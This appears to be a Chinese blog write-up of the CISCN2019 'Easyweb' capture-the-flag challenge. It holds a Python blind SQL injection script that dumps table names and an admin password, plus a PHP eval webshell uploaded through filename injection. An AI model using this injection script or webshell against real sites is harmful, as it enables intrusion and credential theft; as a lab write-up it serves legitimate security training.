当前位置:网站首页>[CISCN2019 总决赛 Day2 Web1]Easyweb
[CISCN2019 总决赛 Day2 Web1]Easyweb
2022-07-26 22:39:00 【茶经新读.】
[CISCN2019 总决赛 Day2 Web1]Easyweb

随意的输入账号密码发现除了图片发生变化意外其他的也没啥变化,也没有登录上去,f12查看源码,发现了image.php

如果直接查看image.php的话,只是把图片放大了而已,dirsearch扫描一下发现了robots.txt

查看发现了.php.bak备份文件

联想到image.php,于是就查看(/image.php.bak),结果下载源码得到
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);其中有一个addslashes函数:
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
例如:
在每个双引号(")前添加反斜杠:
<?php $str = addslashes('Shanghai is the "biggest" city in China.'); echo($str); ?> 运行实例: Shanghai is the \"biggest\" city in China.
注意php代码中给的:select * from images where id='{$id}' or path='{$path}',以及str_replace函数,我们只能用转义字符\或单引号自己破坏,但是用单引号的话会被替换掉,所以只能用\,str_replace第一个参数是\\0,如果我们传入\0,首先他会经过addslashes函数变成了\\0,这个时候在经过str_replace函数变成了\。构造payload:
image.php?id=\0&path=%20or%20ascii(substr((select(database())),1,1))>1%23
然后就是脚本小子火速出击,网上搜索脚本:
import requests
import time
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 30
for l in range(1,length+1):
begin = 32
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
if r.content!=b'':
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
if tmp == 32:
break
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://69242336-234d-4e49-80a5-6f2b1d9ec930.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))爆出来:数据库名为: ciscnfinal 表名为: images,users 列名为: username,password 用户名为: admin 密码为: 5a8fdc3b65d3f811e452
然后账号密码直接登录即可,登陆成功后有一个上传文件的按钮

应该是文件上传漏洞,因为源码中说了上传image/jpeg,随意选择一张图片上传,发现可以上传,并且上传成功,于是写了一个txt内容是:
GIF89a
<script language="php">
eval($_POST['hack']);
</script>改后缀为png后上传,上传成功,并且给了路径
![]()
蚁剑连接,但是加载不进去,说明这里错了,bp抓包发现了filename

由于用户名只能是admin无法利用,所以考虑文件名注入,可以使用短标签绕过:
<[email protected]($_POST['hack']);?>,发包即可回显路径


蚁剑连接url:http://xxxxx.buuoj.cn:81/logs/upload.76310c6b13ee5020f251ac849a1686ee.log.php
根目录下就是flag

边栏推荐
猜你喜欢

DOM day_01(7.7) dom的介绍和核心操作

3_Jupyter Notebook, numpy和matplotlib
![[Network Research Institute] attackers scan 1.6 million WordPress websites to find vulnerable plug-ins](/img/91/4d6e7d46599a67e3d7c73afb375abd.png)
[Network Research Institute] attackers scan 1.6 million WordPress websites to find vulnerable plug-ins

JSCORE day_02(7.1)

Leetcode 301 week

Matlab simulation of image reconstruction using filtered back projection method

6_ Gradient descent method
![[Qt]属性](/img/ca/5f9d8f33e38b0ac5cbb0768a7b3ffd.png)
[Qt]属性

Arcgis和Cass实现断面展高程点

【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
随机推荐
Point to plane projection
JSCORE day_05(7.6)
【 Educational Codeforces Round 132 (Rated for Div. 2) A·B·C】
[3. Basic search and first knowledge of graph theory]
el-checkbox中的checked勾选状态问题 2021-08-02
Yolo of Darknet_ Forward of layer_ yolo_ Layer comments
Programmers must do 50 questions
【3. 基础搜索与图论初识】
[HITCON 2017]SSRFme
[watevrCTF-2019]Cookie Store
公司给了IP地址如何使用(详细版)
重学JSON.stringify
寻找真凶
8_多项式回归及模型泛化(Polynomial Regression and Model Generalization)
【3. Vim 操作】
[4.4 detailed explanation of fast power and inverse element of fast power]
【Codeforces Round #808 (Div 2.) A·B·C】
C language to find prime numbers, leap years and minimum common multiples and maximum common divisors
Openharmony quick start
【4.2 约数】